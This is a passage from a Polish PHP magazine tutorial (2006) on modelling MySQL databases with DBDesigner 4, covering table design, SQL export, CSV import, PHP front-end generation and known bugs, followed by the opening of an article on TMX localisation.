umożliwia import takich plików, a tak-że pomoże nam w zaprojektowaniu ba-zy w MySQL-u oraz włączeniu do niej struktury istniejących danych.

Interfejs użytkownikaDBDesigner 4 ma wygodny w obsłu-dze, intuicyjny interfejs okienkowy, po-zwalający na szybkie zaznajomienie się z aplikacją. Przedstawiamy go na

DBDesigner 4 – odpowiednik Oracle DesigneraPierre HEBEL

W SIECI

1. http://www.fabforce.net– oficjalna strona

DBDesigner 42. http://dev.mysql.com/tech-

resources/interviews/mike-zinner.html

– wywiad (po angielsku)z Michaelem G. Zinnerem, twórcą DBD4.

3. http://www.fabforce.net/downloads.php

– wersje dystrybucyjne DBDesignera 4

Stopień trudności: lll

Co należy wiedzieć...Wymagana jest podstawowa umiejęt-ność pracy z PHP i MySQL-em. Przy-datna będzie również choćby minimalna wiedza teoretyczna na temat relacyjnych baz danych.

Co obiecujemy...Pokażemy, jak przy użyciu DBDesigne-ra stworzyć model bazy danych i uczy-nić z niego działającą bazę, do której będziemy przenosili dane z baz istnie-jących, a także jak w prosty sposób ge-nerować kod PHP odpowiedzialny za ob-sługę tej bazy.

Page 43: PHP Solutions 03 2006 PL

PHP Solutions Nr 3/2006

Narzędzia

www.phpsolmag.org42

DBDesigner 4

PHP Solutions Nr 3/2006

Narzędzia

www.phpsolmag.org 43

Rysunku 1, przy czym naniesione nu-mery oznaczają odpowiednio:

1. Menu główne: udostępnia komplet funkcji, parametrów i zasobów DBDe-signera 4.

2. Pasek narzędzi: bezpośredni dostęp do funkcji modelowania graficznego (ikony).

3. Pasek statusu: informuje o aktualnym stanie wykonywanej pracy.

4. Strefa modelowania graficznego: tu znajduje się model graficzny bazy da-nych jest to główne atelier graficzne, pozwalające na łatwe modelowanie bazy danych.

5. Reprezentacja graficzna przykładowej tablicy bazodanowej.

6. Panel nawigacyjny: plan modelu gra-ficznego bazy danych, umożliwiający wybranie jego konkretnego fragmentu oraz jego pomniejszanie i powiększa-nie.

7. Panel typów danych: pomaga w two-rzeniu nowych oraz określaniu istnie-jących typów danych (w tym ich przy-pisywaniu do grup).

8 Panel modelu bazy danych: umożli-wia szybki dostęp do wszystkich tabel danego modelu.

Czas na modelowanieNastępna czynność, która nas czeka to modelowanie. Aby się za nie zabrać, otworzymy plan pracy i zapiszemy nowy model poprzez wejście do menu główne-go: Plik -> Nowy oraz Plik -> Zapisz ja-ko...

W tym momencie możemy wybrać miejsce w którym zapiszemy nasz plik (domyślnie jest nim folder instalacyjny DBDesignera). Plik naszego modelu bę-dzie nosił nazwę MCDTEST i zostanie zachowany w formacie XML, co umoż-liwi jego łatwe wykorzystanie przez in-ne aplikacje.

Tworzenie tabeliAby utworzyć strukturę nowej tabeli, kli-kamy ikonę Nowa tabela na pasku za-dań, a następnie umieszczamy ją w ob-szarze roboczym. Przejdźmy teraz do edycji tabeli: w tym celu klikamy na niej kilkakrotnie lub otwieramy menu kontek-stowe prawym przyciskiem myszy i wy-bieramy opcję Edytuj obiekt.

Czas określić parametry tabeli. Za-czniemy od zmiany nazwy z Table_nn (nn – numer tabeli, np. 01) na Ident_agent. Gdy przejdziemy do do listy kolumn w tym samym oknie, program automatycz-nie utworzy pierwszą kolumnę i uczy-ni ją kluczem głównym, a także określi wszystkie jej parametry, takie jak typ da-nych, NOT NULL (kolumna NN) czy AU-TO INCREMENT (kol. AI). Dwie ostatnie pozycje będą zaznaczone, co jest nor-malne w przypadku klucza głównego.

Przejdźmy do utworzenia nastę-pujących pól: Nazwisko, Imie, Data_

Rysunek 1. DBDesigner 4 GUI

Page 44: PHP Solutions 03 2006 PL

DBDesigner 4

PHP Solutions Nr 3/2006

Narzędzia

www.phpsolmag.org44

urodzenia. Typ danych każdego pola możemy wybrać z listy proponowanych, albo przeciągnąć z panelu Typy danych (Rysunek 1, nr 7). Dla nazwiska i imienia wybieramy typ VARCHAR – ustalamy jego długość, np. na 45 i 30, podczas gdy pole data_urodzenia będzie miało typ DATE. Jeżeli chcemy określić wybrane pola ja-ko obowiązkowe, musimy zaznaczyć dla nich kolumnę NN.

Dodatkowo, dla każdego pola możemy ustalić flagi (flags) związane z reprezento-waniem danych w tabeli. Dany atrybut mo-że być nieoznakowany (UNSIGNED), bi-narny (BINARY) oraz domyślnie wypełnia-ny zerami (ZEROFILL). Możliwość ustala-nia flag zależy od typu pola, np. DATE nie ma żadnych, INTEGER ma UNSIGNED i ZE-ROFILL, a VARCHAR – BINARY. Każdemu polu możemy też nadać wartość domyśl-ną czy przypisać komentarz – to ostatnie przydaje się podczas późniejszych analiz. Wypełniony zestaw pól prezentujemy na Rysunku 2. Tabela jest gotowa, możemy (ale nie musimy) zamknąć okno – pola zo-staną zapisane.

Do naszej tabeli ident_agent dodamy teraz pola zawierające zwrot grzeczno-ściowy (np. Pan, Pani, Panna, Mr., Mrs., itd) oraz miejscowość. Ponieważ są to da-ne powtarzające się, więc najlepiej stwo-rzyć dla nich dwie osobne tabele:

l C_Zwrot – tabela zwrotów grzecz-nościowych. Będzie ona zawiera-ła klucz główny (typ INTEGER) oraz krótką etykietę LIB_ZWR_C typu VARCHAR(5) i długą etykietę LIB_ZWR_L typu VARCHAR(12).

l C_Miejsce – znajdą się w niej pola: klucz główny (typ INTEGER) oraz na-zwa miejscowości (LIB_Miejsce) typu VARCHAR(60).

Czas na ustalenie związków między ta-belami. Klikamy na ikonę określającą typ relacji jeden do jednego, a następnie na tabelę C_Miejsce, po czym na Ident_agent (kolejność wyboru relacji ma zna-czenie zasadnicze): relacja między ta-belami zostanie utworzona, a w tabeli Ident_agent pojawi się klucz obcy ozna-czony symbolem FK (od Foreign Key) o nazwie C_Miejsce_FKIndex1, zawierają-cy pole C_Miejsce_idC_Miejsce.

Uzyskana relacja ma nazwę Rel_nn (nn to kolejny numer) – zmienimy ją kli-kając na niej dwukrotnie i wpisującnazwę R_MiejsceUrodzenia. Poprawimy też wygląd tabeli Ident_agent przesuwa-jąc klucz obcy (FK) na miejsce w tabeli, które wydaje nam się najbardziej logicz-ne: zaraz po dacie urodzenia. W tym ce-

lu po prostu przeciągniemy go do góry w trybie edycji tabeli.

Zamkniemy teraz okno zatwierdzając zmiany. Warto również zapisać stan ak-tualnej pracy ([CTRL]+[S]). Analogicznie jak z tabelą miejscowości postępujemy w przypadku zwrotów grzecznościowych.

Nasz graficzny model danych jest go-towy (Rysunek 3).

Upiększamyi porządkujemy model graficznyW miarę rozrostu modelu graficznego na-szej bazy danych, konieczne staje się uporządkowanie tabel oraz relacji w mo-delu oraz ich logiczny podział na bloki. DBDesigner ułatwia nam wybieranie wie-lu obiektów na raz – wystarczy przytrzy-mać klawisz [CTRL].Wzrokowe odróżnianie bloków tabel uła-twiają obszary (ang. regions) – prostokąty wyróżniające się nazwą i kolorem tła, we-wnątrz których będą się znajdowały obiek-ty. Aby dodać obszar, klikamy ikonę Nowy obszar w pasku narzędzi, po czym rozcią-gamy prostokąt w obszarze roboczym. Dwukrotne kliknięcie na tak umieszczo-nym obszarze umożliwi nam nadanie mu parametrów takich, jak nazwa i ko-lor. Warto wiedzieć, że rola obszarów nie kończy się na ułatwianiu odróżniania jego zawartości od innych obiektów – pozwala on także ustawiać parametry tabeli, takie jak jej typ (MyISAM, InnoDB, itd), bazę, do której należą tabele znajdujące się w obszarze oraz umieszczać komentarz.

Opisywanie i upiększanie modelu danych jest możliwe również przez:

l umieszczanie na nim obrazów: klika-my na ikonę paska narzędzi przed-stawiającą drzewo, wybieramy w ob-szare roboczym miejsce, w którym

WymaganiaDBDesigner 4 działa pod Windows (wersja 4.0.5.6) oraz Linuksem (wersja 4,0,5,4). Do-stępna jest wersja z instalatorem (EXE oraz RPM), a także kod źródłowy (ZIP i TAR.GZ) i dokumentacja (HTML i PDF). Do modelowania baz danych wystarczy instalacja same-go DBDesignera. Aby jednak w pełni wykorzystać jego możliwości, potrzebujemy pełnego środowiska *AMP a (PHP+MySQL+Apache lub IIS). DBDesigner 4 jest programem open-sourcowym (GNU GPL), a jego kod źródłowy został napisany w Delphi – aby go modyfiko-wać, potrzebujemy Delphi 7 lub Kylixa 3.

InstalacjaDla wersji pod Windows (2000 lub XP) pobieramy plik DBDesigner4.0.5.6_Setup.exe i uru-chamiamy go. Program instalacyjny poprowadzi nas przez resztę instalacji.Dla wersji pod Linuksa pobieramy plik DBDesigner4.0.5.4.tar.gz i umieszczamy go w swo-im katalogu domowym. Następnie rozpakowujemy archiwum poleceniem tar xvzf DBDesigner4.0.5.4.tar.gz, po czym przechodzimy do katalogu głównego aplikacji i wykonuje-my znajdujący się w nim skrypt startdbd.sh.

Rysunek 2. Interfejs tworzenia tabeli

Page 45: PHP Solutions 03 2006 PL

DBDesigner 4

PHP Solutions Nr 3/2006

Narzędzia

www.phpsolmag.org 45

chcemy umieścić obraz, a następnie wybieramy plik graficzny i (opcjonal-nie) ustalamy nazwę obrazu, urucha-miając tryb edycji podwójnym kliknię-ciem na niego,

l dodawanie komentarzy: klikalmy na ikonę paska narzędzi przedstawiają-cą literę T i wybieramy w obszarze ro-boczym miejsce docelowe. Podwój-ne kliknięcie na pole tekstowe pozwoli dodać komentarz,

l zmiana trybu wyświetlania mode-lu: główne informacje, typ notacji, szczegóły kolumn, siatka pomoc-nicza, itd) w menu Wyświetlanie(Display).

Tworzenie dokumentacjiGdy już skończycie wasz model, będzie-cie zapewne chcieli stworzyć dokumen-tację. DBD4 pomoże wam także w tej kwestii.

Eksport obrazu do pliku graficznegoAby wyeksportować obraz do pliku gra-ficznego, wchodzimy do menu Plik -> Eksportuj -> Eksportuj model jako obraz,

wpisujemy nazwę pliku i zapisujemy ob-raz jako BMP lub PNG.

Sporządzanie raportu na podstawie bazy (plugin HTMLREPORT)Ten plugin pozwala sporządzić opis struk-tury bazy w formie raportu w formacie HTML (Rysunek 4). W menu głównym

DBDesignera wybieramy plugins -> Html-Report. Następnie wybieramy zdefiniowa-ny wcześniej obszar (region), którego ra-port ma dotyczyć, wybieramy dodatko-we ustawienia i klikamy na ikonę Execu-te. Program zapyta nas o nazwę pliku, po czym zapisze w nim raport (Rysunek 4).

Praktyczne wykorzystanie gotowego modeluPrzejdźmy teraz do praktycznego wy-korzystania gotowego modelu bazy da-nych. Co możemy z nim zrobić? Istnieją-ce opcje obejmują: automatyczne utwo-rzenie na jego podstawie skryptu SQL, zaimportowanie do niej danych z plików CSV, wygenerowanie PHP-owego inter-fejsu obsługi danych czy ułatwienie prze-glądania bazy. Omówimy je po kolei.

Eksport struktury bazydo skryptu SQLAby na podstawie naszego modelu wyge-nerować skrypt SQL tworzący tabele bazo-danowe, w menu głównym wybieramy po-zycję Plik -> Eksportuj -> Skrypt tworzenia SQL (Export SQL Script). Pojawi się pa-nel opcji , pozwalający wybrać tabele do wygenerowania, ustalić ich kolejność oraz zdecydować m.in. o tym, czy chcemy two-rzyć klucze własne i obce. Zalecane jest korzystanie z parametrów domyślnych.

Skrypt SQL zostanie wygenerowany, gdy wybierzemy jego zapis do schowka (clipboard) lub pliku. Na Listingu 1 przed-stawiamy instrukcje SQL-owe dla nasze-go przykładu.

Tak uzyskany plik możemy wyko-nać przy pomocy linii poleceń klienta My-

Listing 1. Wygenerowane polecenia SQL (mcdtest.txt)

-- ------------------------------------------------------------

-- Tabela kodów zwrotów grzecznościowych

-- ------------------------------------------------------------

CREATE TABLE C_Zwrot ( idC_Zwrot INTEGER UNSIGNED NOT NULL AUTO_INCREMENT, Lib_Civ_C VARCHAR(5) NULL, Lib_Civ_L VARCHAR(12) NULL, PRIMARY KEY(idC_Zwrot));

-- ------------------------------------------------------------

-- Tabela miast

-- ------------------------------------------------------------

CREATE TABLE C_Miejsce ( idC_Miejsce INTEGER UNSIGNED NOT NULL AUTO_INCREMENT, Lib_Miejsce VARCHAR(60) NULL, PRIMARY KEY(idC_Ville));

-- ------------------------------------------------------------

-- Tabela identyfikacji rekordów

-- ------------------------------------------------------------

CREATE TABLE Ident_agent ( idIdent_agent INTEGER UNSIGNED NOT NULL AUTO_INCREMENT, C_Zwrot_idC_Zwrot INTEGER UNSIGNED NOT NULL, Imie VARCHAR(45) NOT NULL, Nazwisko VARCHAR(30) NULL, DataUrodzenia DATE NOT NULL, C_Miejsce_idC_Miejsce INTEGER UNSIGNED NOT NULL, PRIMARY KEY(idIdent_agent), INDEX Ident_agent_FKMiejsce(C_Miejsce_idC_Miejsce),

INDEX Ident_agent_FKZwrot(C_Zwrot_idC_Zwrot)

);

Rysunek 3. Model mcdtest

Page 46: PHP Solutions 03 2006 PL

DBDesigner 4

PHP Solutions Nr 3/2006

Narzędzia

www.phpsolmag.org46

SQL-a lub korzystając z takich narzędzi, jak phpMyAdmin. Założymy bazę mcd-test i wykonamy na niej uzyskany skrypt.

Po utworzeniu tabel przejdziemy do ich uzupełniania – również w tym pomo-że nam DBDesigner.

Import danych do bazy(plugin-in DataImporter)Wspominaliśmy już, że będziemy wydoby-wać dane ze starej bazy przy użyciu plików CSV (ang. Comma-Separated Values), za-wierające dane oddzielone przecinkami. Ich zaimportowanie do nowej bazy ułatwi plugin DataImporter: dzięki niemu doko-namy tego nie pisząc ani jednej linijki kodu!

W menu głównym wybieramy Plugins/DataImporter – pokaże się panel parame-trów. Zanim to jednak zrobimy upewnij-my się, że MySQL jest włączony – zarów-no pod Windows, jak i w Linuksie może-my tego dokonać uruchamiając klienta te-go systemu bazodanowego (plik mysql) al-bo interfejs typu phpMyAdmin. Warto wie-dzieć, że my pracujemy lokalnie na serwe-rze localhost.

Następnie wybieramy plik z danymi do zaimportowania i nawiązujemy połączenie bazodanowe – klikamy na ikonę przedsta-wiającą plik z lupą (Destination database connection), po czym wybieramy bazę da-nych (mcdtest) ze znajdującego się po le-wej stronie otwartego właśnie panelu drze-wa i wpisujemy dane użytkownika (login i hasło, które może być puste) oraz klikamy na ikonę Connect (Rysunek 5).

Wybierzmy teraz źródło danych.W tym celu klikniemy na ikonę ... (trzy kropki) znajdującą się na przycisku Im-port from Text Files, po czym przechodzi-my do odpowiedniego folderu i wybiera-my plik z danymi, na przykład agent.txt.

W prawej części panelu, od razu pojawi się wstępne odwzorowanie.

Klikamy na Text Options i gdy ukażą się nam parametry (wygenerowane auto-matycznie), pozostawimy je w formie nie-naruszonej, za wyjątkiem opcji First row contains field names, którą odhaczymy, ponieważ w naszym pliku nie ma wiersza tytułowego. Możemy nazwać pola wybie-rając każdą kolumnę za pomocą kliknięcia, a następnie oznaczając pole Fieldname.

Za pomocą przycisku Column Map-ping odwzorujemy nasze dane: zwiąże-

my dane z naszego pliku źródłowegoz polami w bazie danych. Najpierw wybierzemy tabelę docelową z listyDestination Table – w naszym przypad-ku będzie to Ident_agent. Ujrzymy po-la tej tabeli – musimy je tylko przenieśćz Field from source do odpowiednich pól w Fields of the destination table.

Za pomoca przycisku General Options (Rysunek 6) zaznaczymy Clear table be-fore data insert, wraz w dwiema inny-mi opcjami. Użycie tego przycisku umoż-liwia również automatyczną zamianę wy-branych znaków po zaimportowaniu da-nych (przykładowo, gdybyśmy mieli po-le typu email, to znak @ nie zostałby pra-widłowo zinterpretowany i byłby zastąpio-ny przez à).

Po ustaleniu parametrów, możemy je zapisać w celu ewentualnego późniejsze-go wykorzystania. Aby tego dokonać, kli-kamy na Store these settings as Preset,a następnie nadajemy temu zestawowi pa-rametrów nazwę (np. impAgent).

Możemy teraz kliknąć na przycisk Execute: dane zostaną wciągnięte do ba-zy, co możemy sprawdzić np. za pomocą phpMyAdmina albo należącego do DBDe-signera Edytora Zapytań (Query Editor, Rysunek 7). W tym drugim przypadku kli-Rysunek 4. Lista dostarczona przez HtmlReport

Rysunek 5. DataImporter : parametry pliku źródłowego

DBDesigner kontra inne narzędzia do modelowaniaNa rynku istnieje wiele profesjonalnych narzędzi do modelowania danych (AllFusion®Erwin® Data Modeler, Oracle's Designer©, IBM's Rational Rose© czy theKompany'sDataArchitect©). Dlaczego więc warto używać DBDesignera? Przede wszystkim, jest bar-dzo prosty w obsłudze i wielojęzyczny, a system pluginów oraz dostępny kod źródłowy(licencja GNU/GPL) umożliwia jego łatwą rozbudowę. Ma tez dobrą dokumentację (HTML, PDF i klipy we Flashu). Po drugie, współpracuje on z różnymi typami baz danych (MySQL, M SSQL, SQLite, Oracle, ODBC, itd). Nie bez znaczenia jest również fakt, iż DBDesigner jest narzędziem opensourcowym i darmowym oraz to, że jest niewielkich rozmiarów.

Page 47: PHP Solutions 03 2006 PL

DBDesigner 4

PHP Solutions Nr 3/2006

Narzędzia

www.phpsolmag.org 47

kamy prawym przyciskiem na schemat ta-beli Ident_agent i wybieramy polecenie Edycja danych w tabeli w menu kontek-stowym. Otworzy się okno wyświetlają-ce widok obejmujący dane w tabeli. Klika-jąc w tym oknie na ikonę SQL, będziemy mieli dostęp do edytora SQL, co pozwoli nam wykonywać kwerendy dotyczące ta-beli, a także m.in. aktualizować dane. To samo zrobimy dla dwóch pozostałych ta-bel, a następnie opuszczamy plugin.

Baza została uzupełniona – zobacz-my teraz, jak z niej skorzystać przy po-mocy innego plugina: SimpleWebFront.

Plugin SimpleWebFrontSimpleWebFront pozwala generować pro-sty PHP-owy interfejs do zarządzania da-nymi. Aplikacja ta będzie mogła działać niezależnie lub stanowić część większe-go projektu.

Po uruchomieniu plugina SimpleWeb-Front (menu główne: plugins -> Simple-WebFront) wybieramy pozycję General Options (Rysunek 8) i podajemy informa-cje dotyczące połączenia z bazą danych mcdtest, a także docelowy tytuł aplikacji (Web Title) oraz położenie skryptów PHP, które zostaną wygenerowane – te trzy in-formacje są niezbędne. Aplikacja będzie się składała z kilkunastu plików, w tym in-dex.php i db_open.php. Zwróćmy uwagę na dwie istotne sprawy:

l dopóki nie podamy wszystkich nie-zbędnych informacji, ikona Create Webpages będzie niedostępna (nie-które z tych informacji znajdują się pod innymi przyciskami),

l musimy wpisać hasło. Może to być problemem, gdyż zwykle w środowi-sku testowym w ogóle go nie poda-jemy (jest ono pustym łańcuchem). SimpleWebFront nie toleruje takiego podejścia, więc trzeba mu wpisać do-wolne hasło, ktore później możemy zmienić w wygenerowanym skrypcie PHP (zmienna $password = ""; w pli-ku db_open.php).

Następnie przechodzimy do panelu Views, gdzie po kliknięciu na Create new view lub

Add tables określamy żądany widok, m.in. nazwę, tabelę główną, sposób sortowania, kryterium wyszukiwania czy kolumny.

Przejdźmy teraz do panelu Groups (Rysunek 9). Tutaj zdefiniujemy grupy wi-doków. Każdej grupie nadamy nazwę oraz przypiszemy do niej zdefiniowane przez nas widoki (wybrane widoki muszą się zna-leźć na liście Assigned Views) lub określo-ne podczas modelowania architektury ba-zy danych obszary (regiony). Zalecane jest regularne zapisywanie parametrów (Save). Po tych operacjach przycisk Create Pages stanie się wreszcie dostępny: my jednak dopracujemy nasze ustawienia.

Wybierzmy panel Grid Options. Okre-ślimy w nim, które spośród zdefiniowanych za pomocą widoków i grup kolumn będą

Rysunek 6. DataImporter: różne opcje

Rysunek 7. QueryEditor: Proste zapytania

HistoriaDBDesigner został stworzony przez Michaela G. Zinnera, szefa ekipy FabFORCE.net.Strona internetowa fabFORCE.net powstała na początku 2003 roku, aby zaoferować plat-formę dla projektów Open Source rozwijanych przez założony w tym samym roku przez Zinnera zespół fabFORCE.net. Grupa ta tworzy opensourcowe narzędzia dla programi-stów, koncentrując się w szczególności na aplikacjach bazodanowych.W czasie powstania projektu DBDesigner Michael G. Zinner dołączył do MySQL AB, gdzie pracował nad programami: MySQL Administrator, MySQL Query Browser oraz MySQLMigration Toolkit. Aktualnie, jego zespół zajmuje się następcą DB Designera, noszącym nazwę MySQL Workbench. Nie będzie to przeróbka DBD4, tylko zupełnie nowa, wysoce wydajna aplikacja korzystająca z OpenGL-a.Na stronach fabFORCE.net znajduje się też wiele odnośników do stron związanych z gra-fiką, fotografią, obrazem i jego obróbką.

Reverse EngineeringReverse Engineering to w tym przypad-ku odtwarzanie modelu graficznego ist-niejącej bazy danych. W programie DB Designer jest dostępne jako opcja w me-nu głównym (Database -> Reverse Engi-neering) i wymaga wcześniejszego połą-czenia z bazą, z której będziemy korzy-stać (Plik -> Otwórz bazę danych). Na-stępnie na panelu parametrów wybiera-my typ bazy danych (MySQL, Oracle, itd), tabele, które wejdą w skład mode-lu oraz typy powiązań między tabelami. Wygenerowany model zostanie umiesz-czony w obszarze roboczym i będziemy mogli go swobodnie edytować.

Page 48: PHP Solutions 03 2006 PL

DBDesigner 4

PHP Solutions Nr 3/2006

Narzędzia

www.phpsolmag.org48

widoczne w docelowym skrypcie PHP, za-znaczając lub odznaczając nazwy tych atrybutów. Każdej kolumnie możemy rów-nież nadać etykietę (Caption), pod któ-rą będzie ona widoczna na stronie doce-lowej. Ustawimy także liczbę wierszy na stronie. Pozostało już tylko wygenerować (Create Webpages)i zapisać (Save) skrypt (index.php).

Po zmianie zapisanego w skryp-cie db_open.php hasła na puste ($pas-sword='') wywołamy utworzony skrypt in-dex.php w przeglądarce internetowej. Po-zwala on m.in. ustalić kryteria wyszukiwa-nia (w tym celu należy kliknąć na ikonie przedstawiającej lupę, Rysunek 10) czy aktualizować dane klikając na ikonę z klu-czem mechanika (Rysunek 11).

Uwaga: skrypt nie sprawdza popraw-ności danych, a zły wpis zostanie potrak-towany jak dobry i zapisany z wartością domyślną (np. zła data jako 0000-00-00).

Asystent zapytańAsystent zapytań (Rysunek 12) pomaga przy formułowaniu kwerend SQL-owych. Uruchomimy go zmieniając w menu głównym tryb wyświetlania na Tryb zapy-tań (Display -> Query mode).

Jak wygląda ułatwienie tworzenia za-pytań? Po pierwsze, możemy przeciągnąć nazwę tabeli lub pola z obszaru roboczego do obszaru wprowadzania zapytań – poja-wi się zestaw kwerend do wyboru. Po dru-gie, w pasku narzędzi DBDesignera znaj-dą się m.in. ikony przedstawiające kwe-rendy oraz ich elementy. Wybierając odpo-wiednie zapytanie w tym pasku, a następ-nie klikając na danej nazwie tabeli lub polu w obszarze roboczym spowodujemy utwo-rzenie odpowiedniej kwerendy. UWAGA: ta drua możliwość nie zawsze działa, nie-stety. Zawsze możemy natomiast ręcznie

uzupełniać wstępnie utworzone kwerendy, a gdy jesteśmy połączeni z bazą danych (menu główne: Database -> Connect...), również je wykonywać. Zapytanie wykona-my klikając na żółtą ikonę z zieloną strzał-ką: jego rezultat ukaże się w oknie po pra-wej stronie.

Inne możliwe sposoby wykorzystaniaZałóżmy, że korzystamy z narzędzia pro-wadzącego statystyki odwiedzin na na-szej witrynie internetowej i zapisujące-go je w bazie danych. Pojawiła się no-

wa wersja tej aplikacji, w której zmieniono również strukturę bazy danych. Chcieliby-śmy zainstalować to nowe wydanie sys-temu statystyk i zaimportować do niego zgromadzone dotychczas dane – nieste-ty, twórca narzędzia tego nie przewidział. Co robić?

Zainstalujmy tę nową wersję syste-mu statystyk i załóżmy dla niego nową bazę (koniecznie pod inną nazwą niż baza już istniejąca). Następnie odtwórz-my strukturę obu baz, np. łącząc się ko-lejno z każdą z nich spod DBDesignera lub korzystając z phpMyAdmina. Po wy-konaniu tej czynności użyjemy funkcji DBDesignera o nazwie Reverse Engi-neering (menu główne: Database -> Re-verse Engineering, zobacz Ramka Re-verse Engineering) w celu zrekonstru-owania modelu każdej z baz w formie graficznej. Korzystając z Asystenta Za-pytań oraz innych funkcji DBDesigne-ra, które opisaliśmy, łatwo porównamy strukturę obu baz i przeniesiemy dane ze starej do nowej.

Porady i sztuczkiKorzystając z programu warto wiedzieć o kilku użytecznych rzeczach. Oto wska-zówki ułatwiające pracę z programem:Rysunek 8. SimpleWebFront, parametry Ogólne

Rysunek 9. SimpleWebFront, grupy

Rysunek 10. SimpleWebFront: wybór widoków

Page 49: PHP Solutions 03 2006 PL

DBDesigner 4

PHP Solutions Nr 3/2006

Narzędzia

www.phpsolmag.org 49

l jak najczęściej korzystajmy z Nawi-gatora (Navigation & Info), gdyż nie-zmiernie ułatwia on poruszanie się obszarze roboczym (szczególnie przy bardziej rozbudowanym mode-lu),

l jeśli nasz model zawiera wiele ta-bel, możemy mieć trudność z od-nalezieniem tej właściwej w obsza-rze roboczym. Tu pomoże nam pa-nel Model BD (DB Model), pozwa-lający przeglądać tabele w postaci drzewa i wybierać z niego dowolne pozycje,

l jeżeli chcemy wydrukować obszar ro-boczy, warto wyeksportować go jako obraz (menu główne: Plik -> Ekspor-tuj -> Eksportuj Model jako Obraz), zamiast korzystać z opcji Plik -> Wy-ślij na drukarkę, gdyż będziemy mo-gli poddać go obróbce. Jest to szcze-gólnie istotne, gdy model jest dużyi nie mieści się na ekranie,

l jedynymi obsługiwanymi przez DBDe-signera formatami obrazów są BMPi PNG. Ze względu na rozmiar warto wybrać ten drugi,

l plugin SimpleWebFront działa w zde-finiowanych przez użytkownika Ob-szarach (Regionach). Jeżeli chcemy obsłużyć przy jego pomocy cały mo-del, musimy zdefiniować Obszar, któ-ry będzie go obejmował. Warto okre-ślić kolor tego obszaru jako neutralny, np. biały,

Pojawiające się problemy i błędy programu DBDesignerPodczas pracy z DB Designerem, musi-my uważać na błędy. Mogą one zaważyć na strukturze bazy, dlatego nie należy ich lekceważyć:

l przy tworzeniu nowej tabeli, definio-wana automatycznie kolumna klu-

cza głównego nie pojawia się od ra-zu – zwykle trzeba nacisnąć [TAB] al-bo kliknąć parę razy na liście atrybu-tów poniżej tego pola,

l nie zawsze działa wybieranie frag-mentów kwerend w Asystencie Zapy-tań,

l prawdziwy bug: funkcja DataType Replace – zastąpienia typów danych (w jednej lub wielu tabelach) przez zestaw innych typów nie działa, je-śli musimy edytować parametr (np. zmienić CHAR(8) na DATE),

l gdy wyjdziemy z plugina HtmlReport, pokaże on, że model został zmo-dyfikowany i zaproponuje zapisa-nie zmian. Istniejący w pluginie błąd powoduje duplikację backslashy (\)w pliku modelu, w strefie <tableprefi-xes>. Ta duplikacja może przybierać ogromne rozmiary, prowadząc nawet do nadmiernego obciążenia pamię-ci komputera. Problem ten rozwiąże-my ręcznie, wyłączając DBDesigner, otwierając ten plik i usuwając back-slashe za pomocą dowolnego edy-tora programistycznego. Zabieg ten musimy powtarzać po 3 lub 4 uży-ciach pluginu,

l tłumaczenia na języki niemiecki i fran-cuski są miejscami niekompletne.

KonkluzjaNa rynku istnieje co najmniej kilka roz-wiązań, których założenia zbliżóne są do założeń DBDesignera. Programy te po-zwalają w znaczący sposób ułatwić pra-cę z bazami, umożliwiają bowiem bardzo profesjonalne podejście już do etapu mo-delowania. W artykule pokazaliśmy, jak korzystając z DBDesignera łatwo zapro-jektować strukturę bazy, wczytać do niej

Rysunek 11. SimpleWebFront: Aktualizowanie widoku

Rysunek 12. Asystent zapytań

Pierre Hebel jest analitykiem informa-tycznym. Pracował 7 lat w SSII (CGI :Compagnie Générale Informatique). Obecnie zajmuje się integrowaniem systemu zarządzania szpitalem ja-ko ekspert techniczny do spraw ERPSIGAGIP na maszynach mainframe.Jest całkowitym samoukiem w tematy-ce komputerowej. Od roku 1999 zreali-zował i współuczestniczył w kilku pro-jektach i witrynach internetowych należą-cych do grup amatorskich i profesjonal-nych – m.in. kierował projektem medycz-nym GTA w środowisku CMS opartym na PHP, Javie i MySQL-u.

Kontakt z autorem:[email protected]

O autorze

dane i wykonywać zapytania czy przeno-sić dane między bazami o różnych struk-turach. Bardzo cenną cechą DBDesignera jest to, że nie służy on wyłącznie projekto-waniu baz, ale wspiera i ułatwia codzien-ną pracę z bazami. Program ma wiele więcej zastosowań, o których nie wspo-mnieliśmy w niniejszym artykule, takich jak synchronizacja i utrzymanie bazy da-nych. Te cechy bardzo często okazują się bardzo przydatne.

Podsumowując: szeroki wachlarz moż-liwości programu, wygoda obsługi i napraw-dę dobra dokumentacja czynią z DBDe-signera profesjonalne narzędzie przydat-ne każdemu, kto ma do czynienia z two-rzeniem i zarządzaniem bazami danych. Poświęcajmy należytą uwagę projektowa-niu, bo poprawne modelowanie danych jest gwarancją skutecznoci podczas formuowa-nia zapytań do bazy danych. n

Page 50: PHP Solutions 03 2006 PL

PHP Solutions Nr 3/2006

Narzędzia

www.phpsolmag.org50

Lokalizacja na bazie TMX

PHP Solutions Nr 3/2006

Narzędzia

www.phpsolmag.org 51

Standard TMX (ang. Transla-tion Memory eXchange) powstał w ramach projektu Oscar (skrót

angielskich słów: Open Standards for Container/Content Allowing Re-use), wy-konywanego w ramach jeden z inicjatyw stowarzyszenia LISA (ang. Localization In-dustry Standards Association; patrz: ram-ka LISA).

Celem autorów TMX było dostar-czenie neutralnego systemu wymiany danych pomiędzy różnymi systemami translacji, przy jednoczesnej minimaliza-cji i eliminacji strat krytycznych informa-cji. TMX jest w pełni zgodny ze standar-dem XML. Wspiera również kodowanie znaków Unicode, oraz wielorakie stan-dardy ISO (dotyczące między innymi for-matów opisu daty/czasu, kody językowe i narodowe).

Od tablic do TMXDuża cześć oprogramowania pisanegow PHP jest lokalizowana przy użyciu ta-

Wyobraź sobie, że jesteś głównym programistą w zespole budującym olbrzymią aplikację, która jako produkt przeznaczony na rynek globalny musi wspierać dziesięć różnych języków. Najprawdopodobniej nie chciałbyś udostępnić swoich kodów źródłowych osobom postronnym w celu wykonania tłumaczenia i mieć złudne nadzieje, że w ramach tego procesu nie pojawią się żadne „przypadkowe” błędy. Na szczęście nie musiałbyś tego robić: dzięki TMX, Twoje tłumaczenie mogłoby być wykonane szybko i łatwo, zaś Twój kod pozostałby nienaruszony.

blic jako kontenerów translacyjnych (ele-mentów służących do przechowywania tłumaczonego tekstu). W takim kontek-ście, zasoby tekstowe (np. menu, opi-sy, nagłówki, informacje dla użytkow-nika) są przechowywane bezpośred-nio w kodzie źródłowym, jako elemen-ty tablic, do których można się w ra-zie potrzeby odwoływać. W ogólnym przypadku, korzystając z takiej techni-ki lokalizacji tworzy się oddzielny plik, bądź zbiór plików dla każdego języ-ka wspieranego przez aplikację. Na Li-

